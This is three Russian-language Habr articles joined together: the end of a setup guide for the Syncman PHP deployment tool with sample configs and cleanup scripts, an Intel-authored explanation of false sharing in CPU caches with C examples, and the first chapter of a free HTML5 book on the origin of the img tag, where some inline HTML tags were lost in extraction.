3. Развертывание проекта. Обычно, это делается с использованием rsync по SSH, но не обязательно. Например можно использовать FTP (если невозможно организовать доступ для rsync).
4. На последнем этапе выполняется команда postsync\_cmd, задаваемая в настройках проекта. Обычно эта команда выполняется по SSH, но это совершенно не обязательно. Задача этой команды, убрать файлы, устаревшие после развертывания (например, в Limb кэшируются некоторые пути, шаблоны и др.), кроме, того могут применяться миграции для базы данных.
###### Основные характеристики
Я использую данное решение очень давно. Функционала было достаточно, и после переезда Syncman на github совершенно не следил за изменениями. Собственно эти изменения и подтолкнули меня написать данный пост. Итак Syncman:
* Проект с открытым кодом;
* Написан на php;
* Основан на фреймворке Limb3;
* Легко настраивается;
* Гибок в настройках. Чаще хватает стандартных настроек (о них ниже), но через конфигурационный файл проекта можно переопределить практически все комманды, чтобы удовлетворить самого требовательного пользователя;
* Код Syncman гибок. Все таки это сын проекта Limb3! Собственно о расширении функционала чуть ниже;
* Из коробки работает с репозиториями svn и git;
* Из коробки поддерживает синхронизацию по SSH с использованием rsync и по FTP;
* Прост в использовании. Для выполнения синхронизации не нужно обладать специфичными знаниями.
###### Как настроить Syncman?
Разберем все по пунктам:
1. Забрать файлы из репозитория
```
cd /path/to/hosts
git clone https://github.com/limb-php-framework/limb-app-syncman.git syncman
git submodule init
git submodule update
```
2. Добавляем новый виртуальный хост
Например, например если вы используете apache, то конфиг может быть таким:
**Стандартный конфиг**
```
ServerName syncman
DocumentRoot /home/user/syncman/www
Options FollowSymLinks
AllowOverride All
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
ErrorLog /tmp/apache\_syncman\_error.log
LogLevel warn
CustomLog /tmp/apache\_syncman\_access.log combined
```
Если web-интерфейс использовать не планируется, то этот пункт можно пропустить.
3. Настройка проектов
3.1. Краткий пример
Если следовать описанию выше, то загруженные файлы должны находиться в папке /path/to/hosts/syncman. Тогда все проекты должны храниться в каталоге /path/to/hosts/syncman/projects.
Для каждого проекта создается отдельная папка. Имя этой папки — название проекта. В папке проекта лежит один единственный файл settings.conf.php с настройками проекта.
**Пример конфигурационного файла1**
```
$conf = array(
//Настройки доступа к удаленному серверу, и папка проекта на нем
'server' => array(
'host' => 'myhost.com',
'user' => 'syncman',
'password' => 'qwerty',
'remote_dir' => '/var/www/myhost.com',
),
//Настройки репозитория, в данном случае git
'repository' => array(
//-- allowed types: git, svn
'type' => 'git',
'path' => 'myrepos/myhost.com/',
'branch' => 'project_branch',
),
//Как синхронизировать
//-- allowed types: rsync, ftp
'type_sync' => 'ftp',
//Подготовка, данная команда выполнится на сервере Syncman
'presync_cmd' => 'php %local_dir%/cli/pre_sync.php',
//данная команда выполнится на удаленном сервере после того, как файлы будут синхронизированы
'postsync_cmd' => 'ssh -i %key% %user%@%host% \'php %remote_dir%/cli/post_sync.php\'',
//история для ftp не работает
'history' => false,
//Группировка проектов
'category' => 'MyCategory',
);
```
**Пример конфигурационного файла2**
```
$conf = array(
//Настройки сервера, синхронизация через SSH
'server' => array(
'host' => 'myhost.com',
'user' => 'syncman',
'port' => 22,
'key' => '/home/syncman/.ssh/id_dsa',
'remote_dir' => '/var/www/myhost.com',
),
//Настройки репозитория, в данном случае Subversion
'repository' => array(
//-- allowed types: git, svn
'type' => 'svn',
'path' => 'myrepos/myhost.com/trunk',
),
//Синхронизируем rsync поверх SSH
//-- allowed types: rsync, ftp
'type_sync' => 'rsync',
//см. первый пример
'presync_cmd' => 'php %local_dir%/cli/pre_sync.php',
'postsync_cmd' => 'ssh -i %key% %user%@%host% \'php %remote_dir%/cli/post_sync.php\'',
//история синхронизации включена
'history' => true,
//Группировка проектов
'category' => 'MyCategory',
//переопределяем некоторые стандартные настройки.
//!!!можно использовать, если четко представляете что они делают
'ssh_get_date' => "date +%F_%R",
'ssh_mkdir' => "mkdir -p \$dir",
'ssh_ln_edit' => "rm -f \$ln_path; ln -s \$new_dir \$ln_path;",
'ssh_cp' => "cp -pRT \$dir_of/ \$dir_in/", // для первого раза можно добавить в конце &> /dev/null
'ssh_ls' => "ls -F --classify -1 \$dir",
'ssh_preg_dir' => "/(.)+\//",
'ssh_readlink' => "readlink -v \$link",
);
```
3.2. Пример подробный. Пошаговая инструкция
Если после прочтения примера 3.1. Все равно не понятно как настроить проект, то...
**подробная инструкция**Разберем второй пример более подробно:
1. Заходим на сервер Syncman по SSH (Предполагаем, что Syncman расположен не на вашем компьютере);
2. Перейдите в каталог Syncman, если каталог projects не создан, то создаем его;
3. Переходим в каталог projects, и создаем папку проекта myhost.com;
4. Переходим в папку myhost.com и при помощи вашего любимого текстового редактора создаем файл settings.conf.php (содержание как в примере 2);
5. Предполагаем, что синхронизация будет выполняться по SSH (как показывает опыт, это самый частоиспользуемый вариант).
6. Если требуется, создаем пару ключей для SSH при помощи ssh-keygen. Публичный ключ копируем на удаленный сервер проекта myhost.com, авторизуем его. Путь к секретной части прописываем в секции key.
7. При написании конфига можно менять любые настройки. Более того, если при задании настройки указать %name%, то вместо данного шаблона будет подставлено соответствующее значение (см., например, задание команды postsync\_cmd).
8. Далее создаем скрипт cli/pre\_sync.php в репозитории вашего проекта. **Типичный пример pre\_sync.php для Limb приложений**
```
echo "Pre syncing...\n";
//Каталоги для удаления
$remove_dirs = array($all_shared = dirname(__FILE__) . "/../www/shared");
$remove_dirs[] = dirname(__FILE__) . "/../_docs";
//удаление каталогов
foreach($remove_dirs as $dir)
`rm -rf $dir`;
//создание каталогов и перемещение файлов
mkdir($all_shared);
foreach(glob(dirname(__FILE__) . "/../lib/limb/*/shared") as $pkg_shared)
{
echo "Moving $pkg_shared..\n";
$pkg = basename(dirname($pkg_shared));
rename($pkg_shared, "$all_shared/$pkg");
}
echo "done.\n";
```
9. Далее создаем скрипт cli/post\_sync.php в репозитории вашего проекта. **Типичный пример post\_sync.php для Limb приложений**
```
$dir = dirname(__FILE__);
echo "Post syncing...\n";
include('migrate.php');//миграция базы
`rm -rf $dir/../var/compiled`;
`rm -rf $dir/../var/locale`;
`rm -rf $dir/../var/locators`;
`rm -f $dir/../var/db_info*`;
echo "done.\n";
```
10. Оба последних файла должны быть добавлены в репозиторий и синхронизироваться вместе с проектом.
11. Все проект настроен.
Естественно, пункты 1-2 выполняются лишь один раз. Пункт 3 выполняется 1 раз для каждого проекта.
4. Развертывание и синхронизация
С использованием web-интерфейса
Для синхронизации проекта требуется открыть веб-адрес, по которому расположен Syncman, в любом браузере. Если все было сделано правильно, вы должны увидеть ваш myhost.com проект в списке проектов.
Нажмите на кнопку «Синзронизировать». Должно открыться новое окно, в котором будет показан журнал синхронизации.
Если требуется посмотреть изменения нажмите на кнопку «показать изменения». Должно открыться новое окно, в котором будет показан журнал синхронизации.
Из консоли
Выше был упомянут консольный интерфейс. Все скрипты для выполнения синхронизации из консоли, лежат в папке bin проекта Syncman.
Скрипт sync.php старая версия скрипта для синхронизации. Пример использования:
```
sync.php [,,...]
или
php sync.php [,,...]
```
Кроме того, есть новый вариант данного скрипта — syncman.php — обладающий более широкими возможностями. Работа основана на пакете taskman.
###### Расширение поведения Syncman
В Syncman все крутится вокруг класса Project, поэтому для понимания работы приложения стоит разобраться с этим классом. На первый взгляд может показаться, что там все сложно. Но это только кажется. Project наследуется от класса фреймворка Limb — lmbOblect. Именно с lmbOblect и надо начинать изучать Project, тогда сложностей не возникнет.
Для добавления поддержки новых систем контроля версий, требуется написать класс для поддержки соответствующей системы контроля версий по аналогии с классами SvnRepository и GitRepository. Их можно найти в каталоге src/model/. После того как ваш класс будет готов требуется внести изменения в класс RepositoryFactory (лежит в каталоге src/factory).
Для добавления поддержки новых типов транспорта при синхронизации, требуется написать соответствующий класс по аналогии с классами RSyncProjectSync и FtpProjectSync. Их можно найти в каталоге src/model/. После того как ваш класс будет готов требуется внести изменения в класс ProjectSyncFactory (лежит в каталоге src/factory).
###### Заключение
Для меня Web-программирование лишь хобби, и совершенно не хочется тратить время на ручную синхронизацию моих сайтов. В этом мне помогает Syncman. И поверьте его использование сэкономило мне не один десяток часов моего личного бесценного времени.
Данное приложение родилось в компании БИТ Creative. С его помощью они синхронизируют сотни проектов. Представьте себе сколько времени экономят они.
Надеюсь, я заинтересовал своего читателя. И тем самым вызвал в нем интерес к Syncman и Limb.
###### Ссылки
* Проект [Syncman](https://github.com/limb-php-framework/limb-app-syncman)
* Фреймворк [Limb](http://limb-project.ru)
* Компания [БИТ Creative](http://bit-creative.com) | https://habr.com/ru/post/207288/ | null | ru | null |
# Делиться не всегда полезно: оптимизируем работу с кэш-памятью
 Делиться с ближним своим для нас, божьих тварей, это очень характерно, считается добродетелью, и вообще, как утверждает [первоисточник](http://bibleonline.ru/), положительно отражается на карме. Однако в [мире](http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html), созданном архитекторами микропроцессоров, такое поведение не всегда приводит к хорошим результатам, особенно если это касается разделения памяти между потоками.
Мы все «немного читали» об оптимизации работы с памятью, и у нас отложилось, что полезно, когда «кэш остается горячим», то есть данные, к которым часто обращаются потоки, должны быть компактными и находиться в ближайшем к процессорному ядру кэше. Все так, но когда дело доходит до того, чтобы делиться доступом, потоки становятся злейшими врагами [производительности], а кэш не просто горячий, он аж «[горит адским огнем](http://en.wikipedia.org/wiki/MESI_protocol)» – такая во круг него разворачивается борьба.
Ниже мы рассмотрим простой, но показательный случай возникновения проблем производительности многопоточных программ, а потом я дам несколько общих рекомендаций, как избежать проблемы потери эффективности вычислений из-за разделения кэша между потоками.
Рассмотрим случай, который хорошо описан в [Intel®64 and IA-32 Architectures Optimization Manual](http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-optimization-manual.html), однако про который программисты часто забывают, работая со массивами структур в могопоточном режиме. Они допускают обращение (с модификацией) потоков к данным структур, расположенных очень близко друг к другу, а именно в блоке, равном длине одной кэш-линии (64 байт). Мы это называем *Сache line sharing*. Существует два типа разделения кэш-линий: *true sharing* и *false sharing*.
*True sharing* (истинное разделение) – это когда потоки имеют доступ к одному и тому же объекту памяти, например, общей переменной или примитиву синхронизации. *False sharing* (~~от лукавого~~) – это доступ к разным данным, но по каким-то причинам, оказавшимся в одной кэш-линии процессора. Сразу отметим, что и тот, и другой случай вредит производительности из-за необходимости аппаратной синхронизации кэш-памяти процессора, однако если первый случай часто неизбежен, то второй можно и нужно исключать.
Почему страдает производительность, поясним на примере. Допустим, мы обрабатываем последовательность структур данных, находящихся в очереди, в многопоточном режиме. Активные потоки один за одним вынимают следующую структуру из очереди и каким-либо образом обрабатывают ее, модифицируя данные. Что может произойти на аппаратном уровне, если, например, размер этой структуры небольшой и не превышает нескольких десятков байт?
*Условия для возникновения проблемы:
Два или более потока пишут в одну кэш-линию;
Один поток пишет, остальные читают из кэш-линии;
Один поток пишет, в остальных ядрах стработал HW prefetcher.*
Может оказаться, что переменные в полях разных структур так расположились в памяти, что будучи считанными в L1 кэш процессора, находятся в одной кэш-линии, как на рисунке. При этом, если один из потоков модифицирует поле своей структуры, то вся кэш-линия в соответствии с cache coherency протоколом объявляется невалидной для остальных ядер процессора. Другой поток уже не сможет пользоваться своей структурой, несмотря на то, что она уже лежит в L1 кэше его ядра. В старых процессорах типа P4 в такой ситуации потребовалась бы долгая синхронизация с основной памятью, то есть модифицированные данные были бы отправлены в основную память и потом считаны в L1 кэш другого ядра. В текущем поколении процессоров (кодовое имя Sandy Bridge) синхронизационным механизмом используется общий кэш третьего уровня (или LLC – Last Level Cache), который является инклюзивным для подсистемы кэш-памяти и в котором располагаются все данные, находящиеся как в L2, так и в L1 всех ядер процессора. Таким образом, синхронизация происходит не с основной памятью, а с LLC, являющегося частью реализации протокола механизма когерентности кэшей, что намного быстрее. Но она все равно происходит, и на это требуется время, хотя и измеряемое всего несколькими десятками тактов процессора. А если данные в кэш-линии разделяются между потоками, которые выполняются в разных физических процессорах? Тогда уже придется синхнонизироваться между LLC разных чипов, а это намного дольше — уже сотни тактов. Теперь представим, что программа только и занимается тем, что в цикле обрабатывает поток данных, получаемых из какого-либо источника. Теряя сотни тактов на каждой итерации цикла, мы рискуем «уронить» свою производительность в разы.
Давайте посмотрим на следующий пример, специально упрощенный для того, чтобы было легче понять причины проблемы. Не сомневайтесь, в реальных приложениях такие же случаи встречаются очень часто, и в отличие от рафинированного примера, даже обнаружить существование проблемы не так просто. Ниже мы покажем, как с помощью профилировщика производительности быстро находить такие ситуации.
Потоковая функция в цикле пробегает по двум массивам float a[i] и b[i], перемножает их значения по индексу массива и складывает в локальные переменные потоков localSum[tid]. Для усиления эффекта эта операция делается несколько (ITERATIONS) раз.
```
int work(void *pArg)
{
int j = 0, i = 0;
int tid = (int) pArg;
for (j = 0; j < ITERATIONS; j++){
for (i = tid; i < MAXSIZE; i+= NUM_PROCS){
a[i] = i + a[i] * b[i];
localSum[tid] += a[i];}}
}
```
Беда в том, что для разделения данных между потоками выбран способ перемежевания индексов цикла. То есть, если у нас работают два потока, первый будет обращаться к элементам массивов a[0] и b[0], второй — к элементам a[1] и b[1], первый — a[2] и b[2], второй — a[3] и b[3], и так далее. При этом элементы массива a[i] модифицируются потоками. Не трудно видеть, что в одну кэш-линию попадут 16 элементов массива, и потоки будут одновременно доступаться к соседним элементам, «сводя с ума» механизм синхрониции кэшей процессора.
Самое неприятное в том, что мы даже не заметим по работе программы существование этой проблемы. Она будет просто работать медленнее, чем может, вот и все. Как оценить эффективность программы с помощью профилировщика VTune Amplifier XE, я уже описывал в [одном из постов](http://habrahabr.ru/company/intel/blog/140965/) на Хабре. Используя профиль **General Exploration**, о котором я там упоминал, можно увидеть описываемую проблему, которая будет «подсвечена» инструментом в результатах профилировки в колонке **Contested Access**. Эта метрика как раз и измеряет соотношение циклов, потраченых на синхронизацию кэшей процессора при их модификации потоками.
Если кому-то интересно, что стоит за этой метрикой, то во время комплексной профилировки инструмент среди других аппаратных счетчиков собирает и данные счетчика:
**MEM\_LOAD\_UOPS\_LLC\_HIT\_RETIRED.XSNP\_HITM\_PS** – Точный счетчик(PS) выполненной(RETIRED) операции(OUPS) загрузки(LOAD) данных(MEM), которые оказалиcь(HIT) в LLC и модифицированны(M). «Точный» счетчик означает, что данные, собранные таким счетчиком в семплировании, относятся к указателю инструкции (IP), следующему после инструкции, которая была той самой загрузкой, приведшей к синхронизации кэшей. Набрав статистику по этой метрике, мы можем с определенной точностью указать адрес инструкции, и, соответственно, строку исходного кода, где производилось чтение. VTune Amplifier XE может показать, какие потоки читали эти данные, а дальше мы уже должны сами сориентироваться, как реализован многопоточный доступ к данным и как исправить ситуацию.
Относительно нашего простого примера ситуацию исправить очень легко. Нужно просто разделить данные на блоки, при этом количество блоков будет равно количеству потоков. Кто-то может возразить: если массивы достаточно большие, то блоки могут просто не вместиться в кэш, и данные, загружаемые из памяти для каждого потока, будут вытеснять друг друга из кэша. Это будет верно в случае, если все данные блока используются постоянно, а не один раз. Например, при перемножении матриц мы пройдемся по элементам двумерного массива сначала по строкам, потом по столбцам. И если обе матрицы не помещаются в кэш (любого уровня), то они буду вытеснены, а повторный доступ к элементам потребует повторной загрузки из следующего уровня, что негативно влияет на производительность. В общем случае с матрицами применяется модифицированное перемножение матриц поблочно, при этом матрицы разбиваются на блоки, которые заведомо помещаются в заданную кэш-память, что значительно увеличивает производительность алгоритма.
```
int work(void *pArg)
{
int j = 0, i = 0;
int tid = (int) pArg;
for (j = 0; j < ITERATIONS; j++){
chunks = MAXSIZE / NUM_PROCS;
for (i = tid * chunks; i < (tid + 1) * chunks; i++){
a[i] = i + a[i] * b[i];
localSum[tid] += a[i];}}
}
```
**False sharing**
**No False sharing**
*Сравнение доступа потоков к элементам массива в случае False sharing и в исправленном коде*
В нашем простом случае данные используются всего один раз, и даже если они будут вытеснены из кэш-памяти, они нам уже не понадобятся. А о том, чтобы данные обоих массивов a[i] и b[i], расположенные далеко друг от друга в адресном пространстве, вовремя оказались в кэше позаботится аппаратный prefetcher – механизм подкачки данных из основной памяти, реализованный в процессоре. Он отлично работает, если доступ к элементам массива последовательный.
В заключение, можно дать несколько общих рекомендаций, как избежать проблемы потери эффективности вычислений из-за разделения кэша между потоками. Из самого названия проблемы можно понять, что следует избегать кодирования, где потоки обращаются к общим данным очень часто. Если это true sharing мьютекса потоками, то возможно существует проблема излишней синхроницации, и следует пересмотреть подход к разделению ресурса, который защещен этим мьютексом. В общем случае старайтесь избегать глобальных и статических переменных, к которым требуется доступ из потоков. Используйте локальные переменные потоков.
Если вы работаете со структурами данных в многопоточном режиме, уделите внимание их размеру. Используйте «подкладки» (padding), чтобы нарастить размер структуры до 64 байт:
```
struct data_packet
{
int address[4];
int data[8];
int attribute;
int padding[3];
}
```
Выделяйте память под структуры по выровненному адресу:
```
__declspec(align(64)) struct data_packet sendpack
```
Используйте массивы структур вместо структур массивов:
```
data_packet sendpack[NUM];
```
вместо
```
struct data_packet
{
int address[4][NUM];
int data[8][NUM];
int attribute[NUM];
}
```
Как видно, в последнем случае потоки, модифицирующие одно из полей, приведут к запуску механизма синхронизации кэш-памяти.
Для объектов, аллоцируемых в динамической памяти с помощью malloc или new, cоздавайте локальные пулы памяти для потоков, либо используйте параллельные библиотеки, которые сами умеют это делать. Например, библиотека TBB содержит масштабируемые и выравнивающие [аллокаторы](http://threadingbuildingblocks.org/files/documentation/a00235.html), которые полезно использовать для масштабируемости многопоточных программ.
Ну и заключительный совет: не стоит бросаться решать проблему, если она не сильно влияет на общую производительность приложения. Всегда оценивайте потенциальный выигрыш, который вы получите в результате затрат на оптимизацию вашего кода. Используйте инструменты профилировки, чтобы оценить этот выигрыш.
P.S. Попробуйте мой примерчик, и расскажите, на сколько процентов увеличилось быстродействие теста на вашей платформе. | https://habr.com/ru/post/143446/ | null | ru | null |
# Бесплатная книга «HTML5. Руководство разработчика»
 ХО-ХО-ХО! Праздник к нам приходит! Всегда ~~coca-co…~~ HTML5!
Выпал снежок и как-то незаметно пришло праздничное, предновогоднее настроение. Чтобы как-то поддержать праздничный дух, мы решили сделать небольшой сюрприз от издательства и порадовать наших читателей бесплатной электронной книгой Марка Пилгрима «**HTML5. Руководство разработчика**» (DIVE INTO HTML5). [Оригинал книги](http://diveintohtml5.info/) также есть в бесплатном варианте в Интернете.
Прежде чем [скачать](http://www.piter.com/upload%2Ffree%2FHTML5.pdf) книгу целиком, предлагаем вам познакомиться с первой главой:
**Глава 1. Как мы сюда попали?**
================================
**Приступим**
-------------
Недавно я прочел [высказывание](http://lists.w3.org/Archives/Public/public-html/2010Jan/0107.html) одного разработчика для платформы Mozilla, где говорится о той напряженности, которая всегда сопутствует разработке стандартов:
> Спецификация и программная реализация должны пройти путь осторожного совместного развития. Ведь, с одной стороны, не хочется, чтобы реализация появилась раньше, чем выйдет окончательная версия стандарта, иначе разработчики станут принимать во внимание особенности конкретной программы, то есть в дело пойдет лишь фрагмент спецификации. С другой стороны, не хочется утверждать полный стандарт до выхода хотя бы одной реализации, иначе придется обойтись без обратной связи, в частности, не будут приняты в расчет мнения создателей программ. Противоречие неизбежно. Нам остается решать проблему методом проб и ошибок .
Пока я буду рассказывать, как появился HTML5, помните эти слова.
**MIME-типы**
-------------
Книга, которую вы держите в руках, посвящена HTML5, а не предшествующим версиям стандарта HTML и тем более не XHTML. Но, чтобы ясно проследить историю HTML5 и увидеть причины, предшествующие его появлению, нужно сначала овладеть кое-какими техническими деталями, в частности получить понятие о MIME-типах.
Каждый раз, когда ваш браузер пытается загрузить страницу, сервер, прежде чем отослать клиентской программе код самой страницы, отправляет ей ряд заголовков. Пользователь обычно не видит этих заголовков, хотя в некоторых программах для веб-разработчиков предусматривается возможность их отображения. Заголовки важны постольку, поскольку они сообщают браузеру, как воспринимать код посылаемой вслед за ними страницы. Самый информативный заголовок называется `Content-Type` и выглядит, например, так:
`Content-Type: text/html`
Значение `text/html` называется типом содержимого, или MIME-типом загружаемой страницы. Только данный заголовок определяет, каково содержание отдельного ресурса и, следовательно, как этот ресурс должен выводиться на экран. У изображений собственные MIME-типы (`image/jpeg` — для картинок в формате JPEG, `image/png` — для формата PNG и т. д.). Собственными MIME-типами оснащены файлы JavaScript, таблицы стилей CSS и, в общем-то, все, что есть в Сети.
На самом деле все чуть сложнее, чем рассказано выше. Самые ранние веб-серверы, под которыми я понимаю веб-серверы 1993 года и нескольких последующих лет, не отправляли заголовки `Content-Type`, потому что те были изобретены только в 1994 году. Ради совместимости, во имя которой, кстати, с 1993 года по сей день делалось и делается очень много всего, отдельные популярные браузеры при определенных условиях игнорируют заголовки `Content-Type`. Это называется контент-сниффингом. Но общее правило таково, что любой фрагмент содержимого Сети, будь то HTML-страница, изображение, сценарий, видеозапись, PDF-документ или что-то еще под собственным URL-адресом, посылается клиентской программе с предварительным уведомлением о MIME-типе в заголовке `Content-Type`. Хорошенько запомните эту информацию, так как она еще пригодится.
**Большое отступление о том, как появляются стандарты**
-------------------------------------------------------
Откуда взялся тег ? Не думаю, что вы хоть иногда задавались подобным вопросом. Очевидно, *кто-то* его создал. Такие вещи не берутся ниоткуда. Из всех элементов и атрибутов HTML, которыми вы в разное время пользовались, абсолютно каждый был когда-то кем-то создан. Этот кто-то придумал, как должен работать элемент или атрибут, и письменно сформулировал свои мысли. Такого рода люди, бесспорно, умнее нас с вами, но они тоже обычные люди.
Если стандарт разрабатывался открыто, то можно вернуться в прошлое и увидеть, как рождалась идея того или иного пункта спецификации. Обсуждения ведутся в почтовых рассылках, а их архивы обычно имеют интерфейс поиска. Чтобы ответить на вопрос о теге , я решил немного позаниматься «электронной археологией» и погрузился в толщу времен, когда еще не существовало Консорциума Всемирной паутины (W3C), а все веб-серверы мира можно было пересчитать по пальцам. Речь идет о первых днях Интернета.
25 февраля 1993 года Марк Андрессен (Marc Andreessen) [написал](http://1997.webhistory.org/www.lists/www-talk.1993q1/0182.html):
> Предлагаю новый опциональный HTML-тег:
>
>
>
> `IMG`
>
>
>
> При нем должен обязательно указываться аргумент SRC=" url". Тег отсылает к файлу растрового изображения (bitmap или pixmap). Браузер будет запрашивать этот файл в Сети, распознавать как изображение и вставлять в текст сообразно месту
>
> тега в коде страницы.
>
> Пример использования:
>
>
>
> ``
>
> (Закрывающий тег не требуется.)
>
>
>
> Как и любое другое содержимое, этот тег может быть вложен внутрь якоря. Тогда изображение станет чувствительным к активизации, как и обычная текстовая ссылка. Следует предоставить браузерам свободу выбора графических форматов, которые будут в них поддерживаться. Удачным выбором мне представляются, например, Xbm и Xpm. Если браузер
>
> не умеет отображать данный формат, пусть он делает то, что разработчикам заблагорассудится предусмотреть на этот случай (так, в X Mosaic будет выводиться растровая картинка, замещающая нужное изображение).
>
>
>
> Данная функциональность будет реализована в X Mosaic. Мы работаем над ней и собираемся использовать по крайней мере внутри команды разработчиков. Разумеется, я буду рад вашим предложениям по поводу того, каким должен быть механизм поддержки изображений в HTML. Если у вас появится мысль удачнее моей, поделитесь, пожалуйста. Я знаю, что разнообразие графических форматов делает ситуацию чрезвычайно туманной, но альтернативы не вижу. Можно разве что сказать: «Пусть браузер работает как умеет» — и ждать той поры, когда будет предложено идеальное решение (может быть, когда-нибудь, с помощью MIME-типов).
Эту цитату надо пояснить. Xbm и Xpm — популярные графические форматы в UNIX-системах; Mosaic — один из первых браузеров. Его версия, которая работала в UNIX-системах, называлась X Mosaic. Когда Марк отправлял это письмо на дискуссионный лист в начале 1993 года, он еще не основал компанию Mosaic Communications Corporation, которая впоследствии принесла ему известность, и еще не начал работу над флагманским продуктом будущей компании — браузером Mosaic Netscape (фирма и программа позже были переименованы в Netscape Corporation и Netscape Navigator соответственно).
Говоря о MIME-типах «может быть, когда-нибудь», Марк ссылается на предусмотренный в протоколе HTTP механизм переговоров о содержимом». Благодаря этому механизму клиентская программа-браузер сообщает серверу (в данном случае веб-серверу), какие типы ресурсов она умеет обрабатывать (например, `image/jpeg`), а сервер в ответ может прислать содержимое в удобном для клиента формате. По состоянию на февраль 1993 года программно реализован только самый первый вариант протокола HTTP (1991 год), в котором клиент не мог передать серверу информацию о поддерживаемых типах изображений. Отсюда проблема, с которой столкнулся Марк. Несколько часов спустя Тони Джонсон (Tony Johnson) ответил:
> У меня в Midas 2 .0 (программа пока находится во внутреннем пользовании SLAC, но уже готова к открытому релизу) применяется похожее решение. Тег иначе назван, и в нем есть еще один аргумент NAME=" name", но функциональность абсолютно та же, что и у предложенного вами тега IMG. Пример:
>
>
>
> `Смысл параметра NAME в том, чтобы позволить браузеру прибегать к помощи набора «встроенных» картинок . Если имя соответствует изображению, которым браузер уже располагает, то вместо того, чтобы доставать картинку из Сети, программа использует готовый графический файл . Кроме того, имя изображения может подсказывать текстовым браузерам, каким символом заместить картинку .
>
>
>
> Меня мало волнуют имена тегов и параметров (но если бы мы решили прийти к компромиссу, они приобрели бы большое значение) . Столь же маловажен, по-моему, вопрос об аббревиатурах, то есть почему IMG и SRC, а не IMAGE и SOURCE . Мне самому больше по душе ICON — это слово дает понять, что картинка должна быть маленькой, вроде значка . Готов признать,
>
> впрочем, что слово ICON итак уже обременено множеством смыслов .`
>
> Midas — это еще один ранний браузер, современник X Mosaic. Он был кросс-платформенным и работал как в UNIX, так и в VMS. Аббревиатура SLAC расшифровывается как Stanford Linear Accelerator Center (Научно-исследовательский центр при Стэнфордском линейном ускорителе (электронов)). Теперь этот центр получил статус национальной лаборатории. Инженеры SLAC запустили первый веб-сервер в США, который фактически был и первым за пределами Европы. В феврале 1993 года SLAC считался долгожителем Сети (работал год и три месяца!) с пятью веб-страницами на сервере.
>
>
>
> Вот продолжение письма Тони:
>
>
> > Раз уж мы заговорили о новых тегах, то расскажу о другом аналогичном теге, поддержку которого я намерен реализовать в Midas 2 .0. Его схема такова:
> >
> >
> >
> > `В код документа в месте вхождения этого тега должен быть вставлен другой документ, на который ссылается тег . Этот документ может быть чем угодно по типу содержания, но основная задача тега — обеспечить вставку изображений произвольного размера в веб-страницы. Когда будет реализован HTTP2, клиент и сервер смогут дополнительно оговаривать формат вставляемого документа.`
> >
> > Под названием HTTP2 здесь фигурирует базовый HTTP в редакции 1992 года. В начале 1993 года значительная его часть не имела программной реализации. Черновой вариант, известный как HTTP2, после некоторой доработки был стандартизован в качестве HTTP 1.0. В стандарт HTTP 1.0 уже включены заголовки-запросы для переговоров о содержимом, то есть то самое «может быть, когда-нибудь» наступило довольно скоро.
> >
> >
> >
> > Тони так заканчивает свое письмо:
> >
> >
> > > Я рассматривал и следующую альтернативу:
> > >
> > >
> > >
> > > `См. фотографию`
> >
> >
> >
> >
> >
> > Не хочется прибавлять новую функциональность тегу `. Но такое решение было бы удобно для совместимости с браузерами, которые не понимают параметр INCLUDE . Иными словами, если браузер распознает команду INCLUDE, то он заменит текст ссылки («См . фотографию» в данном случае) картинкой, а более старый или более глупый браузер просто проигнорирует INCLUDE.`
> >
> > Это предложение не было реализовано, хотя идея заместительного текста на случай, если изображение отсутствует, очень привлекательна и не упоминается в предложенной Марком конструкции тега . Много лет спустя идея была осуществлена в атрибуте (после чего все испортил Netscape, который ошибочно отображал текст-заместитель в виде всплывающей подсказки).
> >
> >
> >
> > Через несколько часов после сообщения Тони ему и Марку ответил Тим Бернерс-Ли (Tim Berners-Lee):
> >
> >
> > > Я полагал, что картинки можно представлять в виде `Картинка`. Значение ссылочных отношений таково:
> > >
> > >
> > >
> > > EMBED — встроить содержимое в данное место документа для отображения;
> > >
> > > PRESENT — отображать содержимое, если исходный документ доступен.
> > >
> > >
> > >
> > > Стоит отметить, что возможны разные сочетания атрибутов. Если браузер не поддерживает какой-то один из них, сбоя не будет. Понятно, что для создания таким способом значков, чувствительных к пользовательскому выбору, нужно вложить один якорь в другой. Но, честно говоря, я не хотел бы вводить особый тег.
> > >
> > >
> >
> >
> >
> > Это предложение не было реализовано, но атрибут rel существует до сих пор (см. раздел «Элемент HEAD» главы 3).
> >
> > Джим Дэвис (Jim Davis) прибавил:
> >
> >
> > > Хорошо бы еще иметь возможность указывать тип содержимого, например, так:
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > > Однако я, конечно, надеюсь дожить до того времени, когда тип содержимого будет строго определяться по расширению файла.
> > >
> > >
> >
> >
> >
> > Это предложение тоже не было реализовано, хотя позднее Netscape стал поддерживать встраивание произвольных мультимедийных объектов с помощью тега ``.
> >
> >
> >
> > Джей Вебер (Jay C. Weber) написал следующее:
> >
> >
> > > Отображение графики в браузерах — моя давняя мечта . Но неужели для каждого вида мультимедийной информации надо создавать персональный тег? Еще недавно все с радостью ожидали появления механизма MIME-типов . Что же случилось теперь?
> > >
> > >
> >
> >
> >
> > Марк Андрессен ответил:
> >
> >
> > > Это не альтернатива предстоящему использованию MIME-типов как стандартного механизма обработки документов . Это простая реализация функциональности, которая нужна независимо от MIME .
> > >
> > >
> >
> >
> >
> > Джей Вебер возразил:
> >
> >
> > > Забудем на время о MIME-типах, они отвлекают от сути . Я, собственно, не согласен с вашим подходом к поддержке встроенных изображений, ведь можно ожидать, что на следующей неделе кто-нибудь предложит новый тег для звуковых файлов . Между тем за использование единого для всех медийных типов способа встраивания пришлось бы платить не такой уж и дорогой монетой .
> > >
> > >
> > >
> > > Опыт свидетельствует, что беспокойство Джея было вполне обоснованным. Прошло, правда, больше недели, но в HTML5 появились теги и .
> > >
> > > В ответ на первое письмо Джея Дейв Рэггет (Dave Raggett) написал:
> > >
> > > >
> > > > Совершенно правильно! Собираюсь рассмотреть множество графических и псевдографических типов в связи с механизмом переговоров о формате . Замечание Тима о поддержке активных областей на картинках тоже учту .
> > > >
> > >
> > >
